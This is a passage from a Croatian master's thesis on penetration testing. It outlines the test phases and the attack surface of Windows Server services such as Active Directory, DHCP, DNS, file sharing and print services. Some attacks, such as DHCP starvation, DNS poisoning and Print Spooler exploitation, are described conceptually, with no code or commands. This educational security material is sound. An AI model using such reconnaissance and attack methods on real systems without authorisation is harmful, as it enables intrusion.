kako bi se stvorio prilagodeni plan penetracijskog testiranja po fazama za odredenog
korisnika. Prema Kang (2008), neke metodologije se doticu isklju¢ivo tehnickog aspekta
testiranja sigurnosti dok se druge doti¢u upravljackog aspekta. Odabir ispravne metodologije

koja ¢e se koristiti tokom testiranja ovisi o razli¢itim faktorima poput tehnickih detalja o
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ciljanom sustavu, financijskim resursima, znanju i poslovnim ciljevima. Kako bi ispunili cilj
penetracijskog testiranja, ispravna metodologija i tijek rada moraju biti definirani, teoretski i
prakticno. Idu¢i dijagram demonstrira generalni metodoloski pristup za penetracijsko

testiranje IT sustava.

Dodatno otkrivanje

¥
Planiranje > Otkrivanje > Mapad
> |zvjeStavanije 4

Slika 2. Dijagram metodoloskog pristupa penetracijskog testiranja IT sustava

3.2.1. Faza planiranja

U fazi planiranja se mora odraditi veliki dio posla kako bi penetracijsko testiranje bilo u
konacnici uspjesno. Tokom ove faze se definiraju ciljevi, opseg, pravne granice i vremenske
znacajke samog testa. Cilj penetracijskog testiranja je demonstrirati koje iskoristive ranjivosti
postoje unutar racunalnog sustava neke organizacije, pocetno sigurnosno stanje neke
organizacije se odreduje pregledom aktualne sigurnosne politike unutar te organizacije.
Moraju se definirati 1 pravne granice kojih se tim za penetracijsko testiranje mora drzati kako
ne bi bilo nedopustenih procedura ili ciljanja pogresnih aplikacija ili mreza. Takoder se
definira raspored kada, otkud te kako ¢e se odredeni sustav napasti, ovo se mora definirati u
dokumentaciji te u pocetnom sastanku prilikom zapocinjanja samog procesa testiranja. Ovo
su klju¢ne tocke koje omogucuju da se ne ometaju Vvitalni sustavi organizacije kako bi mogla
neometano poslovati. Prema Geer et al. (2002), administrativni zadatci poput sastavljanja
tima, sakupljanje dokumentacije 1 informacija, dohvacanje testnih rauna, rezervacije opreme
svi spadaju pod fazu planiranja i1 pripreme, dakle ova faza sadrzi sve aktivnosti koje se

moraju sprovesti prije zapocinjanja samog penetracijskog testiranja. Kada tim odluci provesti
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penetracijsko testiranje, mora dobiti formalno odobrenje o pocetku, ovo odobrenje se inace

naziva pravilo djelovanja. Prema Wack et al. (2003), u odobrenju bi trebali biti iduci podatci:

e Specificne IP adrese/dometi koji se Smiju testirati

e Popis zabranjenih servera (serveri, sustavi, podmreze)

e Popis prihvatljivih metoda testiranja npr. drustveni inzenjering, DoS

e Vrijeme kada ¢e se testiranje odrzati (tokom radnih sati, poslije radnih sati i
sl.)

e ldentifikacija vremenskog perioda testiranja

e [P adrese strojeva sa kojih ¢e se penetracijsko testiranje provesti

e Tocke kontakta izmedu tima koji provodi testiranje i ciljanih sustava i mreza

e Rukovanje informacijama koje ¢e prikupiti tim koji provodi testiranje
3.2.2. Faza otkrivanja

Nakon §to se definiraju ciljevi, opseg, pravne granice i raspored, zapocCinje testiranje. Prva
faza ovog dijela bi se mogla nazvati fazom sakupljanja informacija. Ovu fazu mozemo

podijeliti na jo$ dvije pod faze:

1. Izvidanje i otkrivanje meta

2. Skeniranje i enumeracija

U fazi izvidanja i otkrivanja meta, ispitivaC pokusava prikupiti i posloziti §to je vise
moguce javno dostupnih informacija tehnicke prirode. Cilj je identificirati vrste sustava
unutar mreze organizacije, uklju¢ujuci operacijske sustave te podrucja otvorena za napad ili
nedostatke u sigurnosnom sustavu. Kao $§to smo ve¢ spomenuli, izvidanje moze biti pasivno i
aktivno. Tokom pasivnog izvidanja se provode pretrazivanja kako bi se saznalo §to vise
informacija o ciljanom sustavu, zaposlenicima, fizickoj lokaciji i proizvodu, ali bez
direktnom kontakta sa njima. Uz ovo se koristi 1 aktivno istrazivanje te imamo veliku korist
pri implementaciji obje vrste, pasivno istrazivanje sluzi za sakupljanje informacija, a aktivno
za potvrdivanje pronadenih informacija. Istrazivanje se provodi koriste¢i javno poznate
informacije, alate 1 metode kako bi se dobio specifican pregled mete. Neizbjezne i najcesce

metode 1 alati koji se koriste za fazu izvidanja su:

e Drustveni inZenjering — metode poput oponasanja, podmicivanja, zavaravanja i
obrnutog drustvenog inzenjeringa se mogu implementirati kako bi se saznale

specificne informacije o ciljanoj meti. Sve ove metode ukljucuju fizicki ulazak u

17



organizaciju ili komunikacijske kanale poput telefona ili elektroni¢ke poste.
Drustveni inzenjering uspijeva jer su ljudi u vecini slucajeva skloni pomo¢i i vjeruju
vecini ljudi.

Pregled otpada — pregled otpada mozZe pruzati vrlo povjerljive i osjetljive
informacije ispitivatima, uz dokumente moze sadrzavati i hardver te softver.
UobicCajena praksa je da se dokumenti poput pisama, imenika, kataloga i sli¢ni bacaju
u javno dostupno smece umjesto da se ubacuju u rezace papira. Ovakvi dokumenti
mogu pruzati kao izvor informacija te iz njih se mogu saznati imena, adrese,
telefonski brojevi organizacije pa ¢ak i partnera. Jednako pozornost se treba obratiti i
na zbrinjavanja elektroni¢kog otpada odnosno hardvera, a i1 softvera, neodgovorno
zbrinjavanje tvrdih diskova, raCunala ili mrezne opreme moze dovesti do ozbiljnog
naruSavanja sigurnosti neke mreZe.

Internetski/digitalni otisak — u ovome kontekstu pod internetski/digitalni otisak
mislimo na tehnicku metodu izvidanja. Ovo je potpuno legalan nacin izvidanja i
nadziranja te se dijeli na Cetiri cjeline. Prva cjelina ukljuCuje istrazivanje mrezne
prisutnosti, ispitiva¢ u ovoj cjelini pokusava do¢i do Sto vise informacija o ciljanoj
organizaciji kroz mrezne stranice i mrezne dokumente koje su dostupne na internetu.
Druga cjelina koju mozemo spomenuti je identificiranje domena i ostalih resursa na
ciljanoj mrezi. U trecoj cjelini ispitivaci koriste WHOIS servise kako bi sakupili ove
podatke. WHOIS servisi su baze podataka koje sadrzavaju informacije o zadanim ip
adresama, domenama i individualnim ugovorima. Kada neki WHOIS alat pronade
vezu za odgovarajuci upit koji smo zadali, on prikaze sve informacije koje zna o
tome entitetu. Prema Layton (2002), to mogu biti informacije poput: adrese
registrara, domenskog imena, kontakte ukljucujuci brojeve i mailove tehni¢kih i
administrativnih tijela organizacije, popis svih domenskih servera sa DNS zapisima i
IP adresama, vrijeme i datum kreiranja zapisa, vrijeme i datum kada je zapis zadnji
puta izmijenjen. Takoder se koriste se informacije koje su dostupne od strane DNS
servera kako bi saznali ip adrese ciljanih domena i alternativne domene koje su
povezane sa glavnom. Koriste se servisi poput nslookup, dig i sliéni. Cetvrta cjelina
podrazumijeva mreZzno bazirane istrazivatke metode, to je proces identificiranja
aktivnih racunala i servisa unutar ciljane mreze koriste¢i servise i haredbe poput ping,

traceroute, netstat i slicne.
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Nakon §to je izvidanje i otkrivanje meta gotovo, ispitivacki tim prelazi na fazu skeniranja i
enumeracije. Faza skeniranja podrazumijeva identificiranje aktivnih sustava unutar ciljane
mreze, otvorenih i filtriranih portova, servisa koji se pokre¢u na tim portovima i operacijskih
sustava. Ovo se radi kako bi se identificirale potencijalne sigurnosne rupe i ranjivosti na
ciljanom sustavu koriste¢i aktivne i pasivne metode ispitivanja i skeniranja mreze. Nakon
uspjesne identifikacije aktivnih sustava i servisa, trebaju se popisati i enumerirati. Potrebno je
zapisati tocna imena i verzije servisa koji se pokrecu te specificirati o kojem se operacijskom
sustavu radu. Sa druge strane trebamo popisati imena korisnickih racuna, neispravno
konfigurirane dijeljene resurse poput mreznih diskova, mapa i datoteka te stare verzije
softvera sa znanim sigurnosnim propustima poput web servera nad kojima je moguce
udaljenim pristupom izazvati prelijevanje meduspremnika. Tokom ovih faza je bitno obratiti
paznju da se sustav ne preoptereti sa prekomjernim prometom paketa. Neki od

najpopularnijih alata su nmap, Wireshark, Nessus, hPing3, Netscan i sli¢ni.

3.2.3. Faza napada

Nakon §to su ispitivaci sakupili ve¢inu informacija koje im trebaju, krece se u proces napada i
pokusaja upada u ciljani sustav. U ovoj fazi ispitivac treba uzeti u obzir vanjske faktore koji
mogu utjecati na to koji se alati mogu koristiti ovisno o trenutku 1 situaciji. Ova faza sluzi kao
potvrda potencijalnih ranjivosti sustava i posljedi¢no tome povlac¢i za sobom najvecu koli¢inu
rizika te se zato treba provesti sa iznimnom razinom pazljivosti. Moraju se uzeti u obzir sve
moguce posljedice, te se svi alati za iskoriStavanje ranjivosti moraju iscrpno testirani u
kontroliranom okruzenju prije nego $to se testiraju na produkcijskom sustavu organizacije.
Zbog vremenskih ograni¢enja se ovdje preferira koriStenje poznatih ve¢ standardiziranih,

automatiziranih sustava i aplikacija poput Metasploit-a, nmap-a i sli¢nih.
3.2.4. Faza izvjeStavanja

Faza izvjestavanja se moze provesti paralelno odnosno istovremeno sa ostalim fazama ili na
kraju faze napada. Izvjestaji trebaju sadrzavati procjenu ranjivih toc¢ki unutar nekog sustava i
koje to potencijalne rizike povlace za sobom te preporuke kako ublaziti te tocke i posljedi¢no
smanjiti rizike na minimum. U izvjeStaju mora biti transparentno vidljivo koja su se sve
testiranja provela te koje su se slabosti sustava uocile. Generalno receno, zavrsni izvjestaj

onaj dokument koji nam omogucéuje da razumijemo kompletnu sigurnosnu konfiguraciju
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nekog sustava ili mreze. Prema Wilhelm (2009), zavr$ni izvjeStaj mora obavezno sadrzavati

1duce tocke:

e Detaljne izvjestaje rizika niske i rizika visoke razine te objasnjenja koji su koraci
potrebni kako bi se ugrozila ranjiva tocka sustava

e Pronadeni pozitivni i lazno pozitivni rezultati

e Izvrsni sazetak

e Utjecaj na poslovanje i funkcionalnost

e Preporuke

e Zakljucak
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4. Windows Server

Microsoft Windows Server je grupa operacijskih sustava razvijena i dizajnirana na nacin da
omogucuje dijeljenje usluga i servisa velikom broju korisnika istovremeno te nudi
mogucénosti upravljanja pohranom, aplikacijama i mrezama. Windows Server kao jedno od
najpopularnijin  serverskih okruzenja nudi velik broj znacajki za lakSe upravljanje

informacijskog sustava nekog poduzeca. Kompletan popis znacajki je iduci:

e Active Directory Certificate Services

e Active Directory Domain Services

e Active Directory Federation Services

e Active Directory Lightweight Directory Services
e Active Directory Rights Management Services
e Device Health Attestation

e DHCP Server

e DNS Server

e File and Storage Services

e Host Guardian Service

e Hyper-V

e Print and Document Services

e Remote Access

e Remote Desktop Services

e Volume Activation Services

e Web Server IIS

e Windows Server Essentials Experience

e Windows Server Update Services

Na iducoj slici mozemo vidjeti izgled sucelja aplikacije Server Manager koja sluzi za
upravljanje serverom. Unutar padajuéeg izbornika Tools mozemo vidjeti prethodno navedene

znacajke 1 usluge koje nam Windows Server operativni sustav nudi.
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Slika 3. Sucelje Server Managera Windows Server 2016 okruzenja

U iduéih par poglavlja ¢emo definirati odredene servise koji su nam bitni u kontekstu ovog
rada odnosno u kontekstu penetracijskog testiranja. Kao najbitnije servise ¢emo izdvojiti
iduc¢e: Active Directory (AD DS), DHCP Server, DNS Server, File and Storage Services,
Hyper-V, Print and Document Services, Remote Access i Web Server IIS. Potrebno nam je
definirati i objasniti ove servise kako bi lakSe razumjeli laboratorijsko okruzenje koje ¢emo

stvoriti za izvodenje penetracijskog testiranja te samo testiranje.

4.1. Active Directory Domain Services (AD DS)

Prema Microsoftu (2022), direktorij je hijerarhijska struktura koja sadrzava i pohranjuje

informacije o objektima unutar mreze. Usluga direktorija, poput Active Directory Domain
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Services (AD DS), omogucuje spremanje podataka direktorija te omogucuje dijeljenje tih
podataka umrezenim korisnicima i administratorima. AD DS pohranjuje informacije o
objektima unutar mreze te omogucuje administratorima i korisnicima da im s lako¢om
pristupaju. Kao primjer mozemo navesti informacije koje se nalaze unutar AD, to su
informacije o korisnicima poput imena, lozinki, telefonskih brojeva i sliénih te moguénost
AD da autorizirani korisnici u istoj mrezi mogu Koristiti te informacije. Baza podataka AD je
strukturirana na logickoj, hijerarhijskoj organizaciji informacija pohranjenih u direktoriju.
Ova baza, znana kao 1 direktorij, sadrzi informacije o objektima koji se nalaze unutar AD, ovi
objekti najceS¢e ukljuCuju dijeljene resurse poput servera, diskova, printera te mrezne i
raCunalne korisni¢ke racune. AD igra klju¢nu ulogu u razini sigurnosti neke organizacije,
kroz njega je proces autoriziranog pristupa racunalima centraliziran te on to 1 omogucuje kroz
ulogu Domain Controllera. Domain Controller je racunalo koje na sebi ima instaliran
Windows Server operacijski sustav i Active Directory Domain servis sa ciljem da se stvori
nova Suma odnosno domena. Nakon $to se AD DS instalira i server promovira u domain
controller, unutar direktorija se mogu poceti dodavati klijentska racunala i korisnici te se
mogu kontrolirati sigurnosne grupe njihova politika. Na idu¢em dijagramu mozemo vidjeti

strukturnu hijerarhiju unutar Active Directoryja.

Forest Domain
Domain Tree
Domain
Tree Domain
Domain Domain Q
o S
Objects

Slika 4. Hijerarhija Active Directoryja

Dakle na samom vrhu hijerarhije imamo Sumu (engl. forest), odmah na razini ispod imamo
domene, unutar jedne Sume moze postojati ve¢i broj domena te se one takoder mogu granati

na pod domene, unutar pojedine domene imamo organizacijske jedinice (engl. organisational
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unit) te u konacnici unutar samih organizacijskih jedinica se nalaze objekti (engl. objects).
Objekti mogu biti korisnici, korisni¢ke grupe, racunala, printeri te razni uredaji koji ¢ine IT

infrastrukturu neke organizacije.
4.1.1. Group policy

U kontekstu ovog diplomskog rada, uz Active directory, neizbjezno je spomenuti i group
policy. Prema Microsoftu (2016), Group policy je takoder hijerarhijska infrastruktura koja
omogucuje sistemskom administratoru implementaciju specifi¢nih konfiguracija za korisnike
1 korisniCka racunala unutar domene organizacije. Group Policy je primarno sigurnosni alat te
se moze koristiti kako bi se uspjeSno implementirala sigurnosna politika neke organizacije na
klijentska racunala i korisnike. Ova pravila koja se kolektivno nazivaju Group Policy Objects
(GPOs) se baziraju na skupini individualnih Group Policy postavki. Group Policy se moze
provesti na razini domene ili na razini lokalnog racunala, najcesce se koristi kombinacija oba
pristupa kako bi se racunalo osiguralo. Kao primjer moZemo navesti racunalo koje je
nadodano u domenu, na tom racunalu se Group Policy moze provesti koriste¢i centralizirani
pristup gdje administrator koriste¢ci Windows Server okruzenje i1 Active Directory,
implementira pravila koja vrijede za to Kklijentsko racunalo. U drugom slu¢aju kada rac¢unalo
nije dio neke domene, Group Policy se moze uredivati lokalno na tome racunalu kroz Local
Group Policy Editor koriste¢i lokalni administratorski racun koji je zasti¢en lozinkom, na taj
nain se moze ograniCiti djelovanje koje korisni¢ki ra¢un na tome racunalu ima. Hijerarhija

pri procesuiranju GPO je iduca:

1. Primjenjuje se lokalan GPO

2. Primjenjuje se GPO vezan za mjesto
3. Primjenjuje se GPO vezan za domenu
4

Primjenjuje se GPO vezan za organizacijsku jedinicu

4.1.2. Opasnost

Active Directory sluZi kao glavna okosnica svake domene i organizacije, AD je centralni
servis pomocu kojeg se svi korisnici unutar domene autoriziraju i verificiraju. Upravo iz tog
razloga je AD jedna od glavnih meta napadaca te je neizostavan dio svakog penetracijskog
testiranja. Napadacima je cilj enumerirati korisnike na domeni te saznati §to je viSe moguce
podataka o infrastrukturi AD-a neke organizacije, cilj je saznati podatke poput: koli¢inu i

imena domena, koli¢inu i imena organizacijskih jedinica i njihovu hijerarhiju, sigurnosne
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grupe, koli¢inu i imena korisnika, koli¢inu i imena racunala. Ovo su sve podatci koje

napadaci mogu vrlo lako iskoristiti prilikom infiltriranja nekog sustava.

4.2. DHCP Server

DHCP odnosno Dynamic Host Configuration Protocol je mrezni protokol koji se nalazi u

aplikacijskom sloju OSI modela. DHCP je serversko-klijentski protokol kojim se dinamicki

pridodaju IP adrese DHCP klijentima odnosno uredajima na mrezi kako bi mogli

komunicirati. DHCP automatizira i znatno ubrzava proces pridodavanja IP adresa te

centralizira upravljanje njima, uredajima na mrezi su automatski pridodane [P adrese

koriste¢c1t DHCP umjesto da se trebaju konfigurirati 1 pridodavati staticke IP adrese svakom

uredaju zasebno. DHCP se sastoji od vise komponenti, a to su:

1.

DHCP server — najcesce je to server ili router, on sadrzi raspon IP adresa koje moze
dijeliti DHCP klijentima te ostale informacije poput vremenskog perioda na koji se IP
adresa izdaje ili rezerviranih IP adresa

DHCP klijent — uredaji na mrezi poput raunala, mobitela, pisaca i sli¢nih. Uredaj se
spaja na lokalnu mrezu i dobiva IP adresu od DHCP servera

DHCP relej — upravljaju zahtjevima izmedu DHCP klijentima i DHCP serverima,

cesce se koriste u iznimno velikim 1 kompleksnim mrezama.

Prema Alcott (2001), prilikom pridodavanja IP adrese nekom klijentu, dogada se takozvano

DHCP rukovanje, koraci su iduéi:

1.
2.

DHCP discover — klijentski uredaj $alje broadcast poruku na mrezu te trazi IP adresu.
DHCP offer — serverski uredaj Salje unicast poruku to¢no ciljanom klijentu koji je
zatrazio IP adresu. U ovome koraku ¢e IP adresa biti ponudena.

DHCP request — klijent ¢e poslati unicast poruku serveru u kojoj trazi koriStenje
ponudene IP adrese.

DHCP ACK - klijent ¢e dobiti ACK odgovor od DHCP servera kao potvrdu o

koriStenju IP adrese koju pruzi klijentu.

Ovi svi koraci ¢e se odraditi u podatkovnom sloju te tokom ovog rukovanja klijent jo$ uvijek

ima IP adresu 0.0.0.0. Tek u trenu nakon §to klijent dobije ACK odgovor od servera ¢e klijent

poslati ARP zahtjev kako bi saznao MAC adresu pristupnika i u kona¢nici dobio IP adresu.
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Unutar Windows Server okruZenja imamo i moguénost koriStenja DHCP servera, na iducoj

slici mozemo vidjeti pregled sucelja u Windows Server OS.

% DHCP _ O «
File Action View Help
9|z 6= HiE *
? [EHCP Start IP Address End IP Address Description Actions
v i "f'”l';e:’e'zmE"d'p'°m5k"'°‘a' $m192.168.8.2 192.168.8.50 Address range for distribution | | Address Pool -
v 3 IPw
i) )
v [] Scope[192.168.8.0] DHCP_LAN More Actions  »
i Address Pool
% Address Leases
u| Reservations
.. Scope Options
| Policies
3 Server Options
| Policies
¥ Filters
2 IPv6
< >

Slika 5. Pregled sucelja DHCP Servera

Mozemo vidjeti na konkretnom primjeru vecinu stvari koje smo prethodno spomenuli, DHCP
server je trenutno konfiguriran da dijeli IP adrese 192.168.182.11 — 192.168.182.50 unutar
192.168.182.0/24 subneta. Pregled toga mozemo vidjeti pod Address Pool, unutar Address
Leases polja mozemo vidjeti koje su trenutne IP adrese u upotrebi te na koliko dugo su te IP
adrese izdane. Unutar polja rezervacija mozemo vidjeti rezervirane IP adrese za odredene
uredaje na mrezi koji moraju imati staticku IP adresu, to su naj¢es¢e uredaji poput pisaca,

besprekidnih napajanja, drugih servera i sli¢ni.
4.2.1. Opasnost

U kontekstu ovog rada DHCP serveri mogu biti ranjive tocke nekog IT sustava, napadaju se
metodama poput DHCP izgladnjivanja (DoS) i DHCP spoofinga. DHCP izgladnjivanje
podrazumijeva situaciju gdje napada¢ Salje DHCP zahtjeve prema serveru koriste¢i lazne
MAC adrese te na taj na¢in zauzima sve slobodne IP adrese u tome subnetu, na taj nacin
DHCP server vise nema IP adresa za izdavanje te postane nedostupan odnosno niti jedan

drugi uredaj se viSe ne moze spojiti na mrezu jer ne moze dobiti IP adresu. DHCP spoofing
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podrazumijeva lazno predstavljanje napadacevog racunala kao DHCP servera, racunalo
presre¢e DHCP zahtjeve i predstavlja se kao router ili gateway neke mreze, u tome trenu
racunalo moze preusmjeravati klijente ka malicioznim servisima i serverima umjesto onim

pravim.
4.3. DNS Server

DNS je jedan od najznacajnijih sustava u internetskoj infrastrukturi, on omoguéuje da ljudi
lako¢om pristupaju mreZnim stranicama te to omogucuje na iduc¢i na¢in. Prema Evans (2022),
svaka mrezna stranica kojoj pristupamo ima svoju unikatnu javnu IP adresu, ali s obzirom da
je ljudima tesko pamtiti skupine brojeva poput 142.251.208.174, DNS sustav omogucuje da
svaka IP adresa mrezne stranice ima i svoj lako pamtljivi DNS zapis. IP adresa koju smo
naveli 142.251.208.174 je IP adresa mreZzne stranice www.google.com. Prilikom upisa
mrezne stranice google.com u mrezni preglednik, klijentsko racunalo kontaktira DNS server
kako bi saznao na koju IP adresu DNS zapis google.com upucuje te na taj nain pruza
klijentu pristup i u konacnici pregled te mrezne stranice. Koraci klijentskog zahtjeva za IP

adresom mreZne stranice su iduci:

1. Prilikom upisivanja mrezne stranice, lokalno racunalo pregledava svoju lokalnu DNS
pred-memoriju, ukoliko se IP adresa mreZne stranice tamo nalazi ona ¢e se i prikazati,
ukoliko nije, mora kontaktirati DNS server odnosno preéi na iduci korak.

2. Prvi server kojeg klijentsko racunalo kontaktira se zove DNS rekurzivni server. On
prima zahtjev od klijenta te se dalje ponasa i sam kao klijentsko racunalo kako bi
komunicirao sa drugim DNS serverima i pronaSao odgovarajucu IP adresu te u
konac¢nici ju proslijedio klijentu.

3. Prvi server kojeg DNS rekurzivni server kontaktira je korijenski server. Korijenski
server odgovara rekurzivnom serveru sa adresom TLD DNS servera (poput .hr ili
.com) koji u sebi ima informacije o svojim domenama.

4. U ovome koraku rekurzivni server ispituje TLD server te mu on odgovara sa IP
adresom domenskog autoritativnog imenskog servera. Rekurzivni server onda ispituje
autoritativni server koji ¢e kona¢no odgovoriti sa trazenom IP adresom web servera.

5. DNS rekurzivni server u konaénici $alje IP adresu web servera prvotnom klijentu te
klijent sada moze pristupiti direktno tome web server. U tome trenu web server Salje

podatke klijentu koje njegov internetski preglednik moze interpretirati i prikazati.
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Unutar Windows Server okruzenja imamo i moguénost konfiguriranja DNS servera, pregled

sucelja DNS upravitelj mozemo vidjeti na iducoj slici

7, DNS Manager
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Slika 6. Pregled sucelja DNS Managera

Na primjeru prethodne slike moZzemo vidjeti sucelje na nasem virtualnom serveru WIN-

SERVER2016, u sucelju vidimo hijerarhiju mapa koja se sastoji od:

1.
2.

Forward Lookup Zones — pretvaraju DNS zapise u IP adrese

Reverse Lookup Zones — pretvaraju IP adrese u DNS zapise

Trust Points — sastoji se od kriptografskih kljueva za potpisane i verificirane

z0ne

Conditional Forwarders — podrazumijeva prosljedivanje odredenih upita

odredenim domenama od strane DNS servera

4.3.1. Opasnost

U kontekstu ovoga rada DNS je izuzetno bitan zato §to omogucuje timu koji provodi

penetracijsko testiranje uvid u veli¢inu neke organizacije. Prebrojavanjem ukupnog broja
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domena i pod domena neke organizacije nam daje vrlo znac¢ajan uvid u njenu infrastrukturu.
Iz istog razloga DNS je i jedna od glavnih meta napadaca, uz tu ¢injenicu da putem DNSa
mozemo saznati jako puno informacija o organizaciji, DNS serveri su skloni napadima.

Glavne metode napada su DNS spoofing, DNS poplavljivanje i trovanje predmemorije.

4.4. Windows File Server

Server datoteka je racunalo odnosno servis koji je zasluzan za pohranjivanje i upravljanje
podatcima kojima ostala raCunala unutar iste mreze mogu pristupiti. On omogucuje
korisnicima unutar neke organizacije da dijele informacije 1 podatke jedni izmedu drugih bez
upotrebe pamtidbenih pruti¢a ili slanja mailova te uz to sluzi kao centralna tocka za
pohranjivanje, dijeljenje i upravljanje datotekama na mrezi. File serveri mogu biti isklju¢ivo
otvoreni korisnicima unutar jedne lokalne mreze (LAN) ili mogu biti otvoreni prema
internetu. Serveri datoteka se koriste idu¢im znacajkama kako bi se lak$e implementirali u

organizacijama:

1. Upravljanje dozvolama — sigurnosne postavke se mogu odredivati na razini
datoteka, mapa i diskova. Na spomenute podatkovne strukture se mogu
pridodati prava odredenim korisnicima te se moZze i odrediti koje akcije smiju
izvesti nad tim datotekama.

2. ZakljuCavanje datoteka — omogucuje da samo jedan korisnik moze
izmjenjivati ili pregledavati datoteku u zadanom trenutku

3. Rjesavanje konflikata — odrzava se integritet podataka u slucaju da se datoteke
prebrisu

4. Distribuirani podatkovni sustav — omogucuje redundantnost podataka kroz
mogucnost kopiranja istih podataka na vise servera koji se nalaze na raznim

lokacijama
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NajkoriSteniji protokol unutar Windows Server okruzenja pri upravljanju podatcima jest
Server message block, poznatiji kao SMB. SMB je najces¢i protokol za servere datoteka
unutar lokalne mreze upravo zato s§to je vrlo lak za integraciju sa prethodno spomenutim
Active Directoryjem te se na taj nac¢in moZze upravljati sa sigurnosnim dopustenjima. Do sada
je SMB imao tri verzije: SMB1, SMB2 i SMB3. SMBI se vise ne koristi jer je dio zastarjele
tehnologije koja predstavlja sigurnosni rizik. Unutar Windows Server okruzenja jo§ vrijedi
spomenuti File Transfer Protocol (FTP) i Secure File Transfer Protocol (SFTP) koji pruzaju
mogucénost dijeljenja podataka putem interneta. Generalno se koristi za preuzimanje i
ucitavanje podataka preko interneta. Putem svih ovih znaajki koje smo naveli, file server
omogucuje puno jednostavniji i brzi rad unutar neke organizacije, ali su zbog svoje prirode 1
namjene server datoteka vrlo ¢esta meta napadaca i ransomwarea. Upravo iz tog razloga $to
su kljuéni za poslovanje te §to se na njima nalazi velika koli¢ina podataka od kojih mnogi
mogu biti povjerljivi se mora izrazito paziti pri konfiguraciji servera datoteka i njihovoj
sigurnosti. Sigurnosne kopije podataka koji se nalaze na serveru datoteka su obavezne te je
dobra praksa napraviti par kopija iznimno bitnih datoteka koje ¢e se pohranjivati na nekom
disku koji je na potpuno drugoj fizickoj lokaciji te van mreze. Na iducoj slici moZzemo vidjeti

primjer dijeljenih mapa na serveru datoteka.

| B -
“ Home Share View 0
&« S » ThisPC » Local Disk(C:) » DC1 v | O Search DC1 2
-~
Mame Date modified Type Size
# Cuick access
IT File folder
B Deskto
P Klijenti File folder
" Downloads Marketing File folder
= Documents Mabava File folder
&= Pictures
3 This PC
Marketing Properties Pt
¥ Network
General Sharing Securty  Previous Versions Customize
Object name:  CADC1Marketing
(Group or USer names:
SR SYSTEM
x Marko Markic {marko markic @diplomski local)
a Administrator
82 Administrators (D1PLOMS K Administrators)
To change pemissions, click Edit. Edit...
Permissions for Marko Markic Allow Deny
Full control 2
Madify
Read & execute v
List folder conterts v
Read v
Write hd
For special pemissions or advanced settings, Advanced
click Advanced.
Cancel Apply
4 iterms 1 itemn selected E -
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Slika 7. Pregled svojstava dijeljene mape Marketing

Kreirane su mape IT, Klijenti, Marketing i Nabava te pod sigurnosnim postavkama mape
Nabava su pridodana prava citanja, izvodenja i pregleda korisniku Marko Markic. Sada
mozemo oti¢i na klijentsko racunalo Marka Markic¢a koje se nalazi u lokalnoj mrezi te

mapirati mrezni pogon odnosno mapu Marketing.
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Slika 8. Nemogucnost kreiranja nove mape zbog manjka prava

Nakon §to smo mapirali potreban mrezni pogon, pokusali smo kreirati novu mapu, ali nismo
mogli upravo zato Sto smo korisniku Marko Markic dodali samo prava ¢itanja, izvodenja 1
pregledavanja sadrzaja. Kad korisniku pridodamo prava uredivanja i pisanja, uspje$no

kreiramo novu mapu te ju uredujemo.
4.4.1. Opasnost

Vrlo je ocito zaSto pogrjesno konfigurirani serveri datoteka mogu biti izuzetno ranjive tocke
sigurnosti racunalnih sustava. Vec¢ina podataka koje organizacija koristi se nalaze na tome

serveru, korisnici neke domene svakodnevno pristupaju tim sadrzajima te ih ureduju,
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preuzimaju i u€itavaju. Iznimno je bitno pravilno konfigurirati sigurnosne grupe i pravila za
dijeljene mape kako ne bi doSlo do neautoriziranog pristupa. Ovdje se ne misli samo na
napadade ve¢ 1 na zaposlenike odredene organizacije, u vefim 1 strukturiranim
organizacijama treba vrlo izri¢ito definirati tko to¢no smije imati pristup ¢emu te ukoliko ima
pristup da li smije samo pregledavati sadrzaj ili ga i mijenjati, ukoliko se ovo ne konfigurira
kako treba, vrlo lako moze do¢i do zloupotrebe prava. NapadaCima su serveri datoteka

takoder jedna od glavnih meta upravo zbog povjerljivih podataka.

4.5. Hyper-V

Prema Microsoftu (2022), Hyper-V je sluzbeni Microsoftov hipervizor unutar Windows
operacijskog sustava, moguce ga je koristiti u serverskom i u klijentskom okruzenju ukoliko
nam hardver to dopusta. On sluzi za virtualizaciju hardvera odnosno pokretanje virtualnih
strojeva. Koriste¢i Hyper-V mozemo kreirati virtualne tvrde diskove, mrezne preklopnike 1

mnoge druge uredaje.
4.5.1. Opasnost

Hyper-V je bitno spomenuti u kontekstu ovog rada zato Sto se veci broj virtualnih servera
pokrec¢e na jednom fizickom serveru. 1z tog razloga je iznimno bitno pravilno konfigurirati
mrezne postavke do fizickog stroja, ali 1 izmedu samog fizickog stroja 1 veceg broja

virtualnih strojeva koji se pokre¢u na njemu.
4.6. Print and document services

Prema Microsoftu (2016), print and document services omogucuje centralizaciju Servera
pisaca i mreznih pisaca. U smislu uloge, servis se moze koristiti za zaprimanje skeniranih
dokumenata od nekog mreznog skenera te onda slanje istih dokumenata na neki dijeljeni
mrezni resurs poput mreznih pogona, Sharepointa i1 sli€nih. Server pisaca omogucuje
centralizirani pregled svih pisaca unutar mreze neke organizacije, njima se moze upravljati te
pregledavati redovi ispisa i dijagnosticirati potencijalni kvarovi. Takoder omogucuje vrlo
laku migraciju servera pisa¢a i implementaciju povezanih pisaca koriste¢i GPO. Mrezni
pisaci i serveri pisaca su vrlo Cesta meta napadaca te pritom se misli na mrezne pisace, oni
spojeni USB-om ili drugim priklju¢cima na jedno racunalo su sigurniji, ali i manje prakti¢ni
odnosno rjede se koriste. Najces¢i protokoli koje podrzavaju mrezni pisaci su Line Printer
Daemon (LPD), Internet Printing Protocol (IPP) te onaj najces¢i raw port 9100. Protokoli
mreznog ispisa se mogu napasti direktno, kao primjer moZzemo uzeti prelijevanje

meduspremnika unutar pisateva LPD procesa. Osim protokola postoje i jezici koje pisaci
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koriste, jezici koji sluze za kontrolu trenutnog zadatka su PJL i PML, a oni koji sluze za opis

stranica su PostScript, PCL, PDF, XPS i sli¢ni.
4.6.1. Opasnost

Izmedu lipnja 2021. godine i travnja 2022. godine je provedeno oko 65 000 malicioznih
napada iskoriStavajuéi Print Spooler aplikaciju unutar Windows operacijskih sustava, dakle
moze se zakljuciti kako su mrezni pisaci vrlo Cesta meta hakerskih i malicioznih napada jer se
vrlo Cesto previde u sigurnosnoj politici firme. Uz napada iskoriStavanja koja smo naveli,
postoje 1 drugacije vrste napada gdje se pokusSava do¢i do administratorske konzole nekog

mreznog printera te na taj nacin dolazi do povjerljivih informacija.
4.7. Remote Access

Prema Microsoft (2022), prilikom instalacije Remote Access Server Role usluge u Windows

